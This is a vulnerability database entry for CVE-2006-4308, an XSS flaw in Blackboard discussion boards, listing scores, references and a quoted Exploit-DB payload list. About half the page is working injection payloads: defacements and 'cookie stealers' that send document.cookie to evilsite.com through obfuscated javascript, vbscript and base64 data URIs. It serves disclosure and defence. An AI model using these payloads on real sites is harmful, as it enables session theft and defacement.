CVE-2006-4308
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Descriptions
Multiple cross-site scripting (XSS) vulnerabilities in Blackboard Learning System 6, Blackboard Learning and Community Portal Suite 6.2.3.23, and Blackboard Vista 4 allow remote attackers to inject arbitrary Javascript, VBScript, or HTML via (1) data, (2) vbscript, and (3) malformed javascript URIs in various HTML tags when posting to the Discussion Board.
Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
Metrics
| Metric | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 4.3 | AV:N/AC:M/Au:N/C:N/I:P/A:N | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 28324
Publication date : 2006-08-23 22:00 +00:00
Author : proton
EDB Verified : Yes
source: https://www.securityfocus.com/bid/19308/info
Blackboard products are prone to multiple HTML-injection vulnerabilities because the software fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Blackboard Learning System (Release 6) and Blackboard Learning and Community Portal Suite (Release 6 build 6.2.3.23) are vulnerable; other version may also be affected.
Reports indicate this issue has been addressed in versions 7.0 and 7.1, but Symantec has not confirmed this.
UPDATE (June 14, 2007): Reports indicate that Blackboard Academic Suite - Vista 4 is also vulnerable.
Defacement (FrameBuster)
-------------------------
<meta http-equiv="refresh"
content="15;url= http://evilsite.com">
Defacement (FrameBuster)
-------------------------
<iframe src=" http://evilsite.com" width=100
height=100></iframe>
Defacement (IE ONLY)
-------------------------
<img src=vbscript:document.write("defaced_by_insane_script_kiddies")>
Defacement (IE ONLY)
-------------------------
<link rel="stylesheet"
href=vbscript:document.write("defaced_by_insane_script_kiddies")>
Cookie Stealer (IE ONLY)
-------------------------
<img
src="vbscript:wintest=window.open(%22http://evilsite.com + document.cookie)"style=visibility:hidden/>
<img src="vbscript:window.focus ()"style=visibility:hidden/>
<img src="vbscript: window.close()"style=visibility:hidden/>
Cookie Stealer (IE ONLY)
-------------------------
<link rel="stylesheet"
href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">
Cookie Stealer (Encoded Tab - IE ONLY)
-------------------------
<img
src="jav	ascript: document.images[1].src=%22http://evilsite.com+document.cookie;"<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
Cookie Stealer (html encoded - IE ONLY)
-------------------------
<img
src='javascripdocument.images[1].s
rc=" http://evilsite.com"+document.cookie;'<img
src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
Cookie Stealer (tabs - IE ONLY)
-------------------------
<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
Cookie Stealer (body tag with tabs - IE ONLY)
-------------------------
<body background="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;">
Cookie Stealer (div tag with tabs - IE ONLY)
-------------------------
<div style="background-image: url(jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;)">
Cookie Stealer (firefox)
-------------------------
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">
Cookie Stealer (firefox - click to work)
-------------------------
<a
href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">hmmm</a>
Products Mentioned
Configuraton 0
Blackboard>>Blackboard >> Version 6.0
Blackboard>>Blackboard_learning_and_community_portal_suite >> Version 6.0
Blackboard>>Blackboard_learning_and_community_portal_suite >> Version 6.2.3.23
Blackboard>>Vista >> Version 4
References
http://www.securityfocus.com/archive/1/444885/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/archive/1/444062/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/archive/1/444116/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
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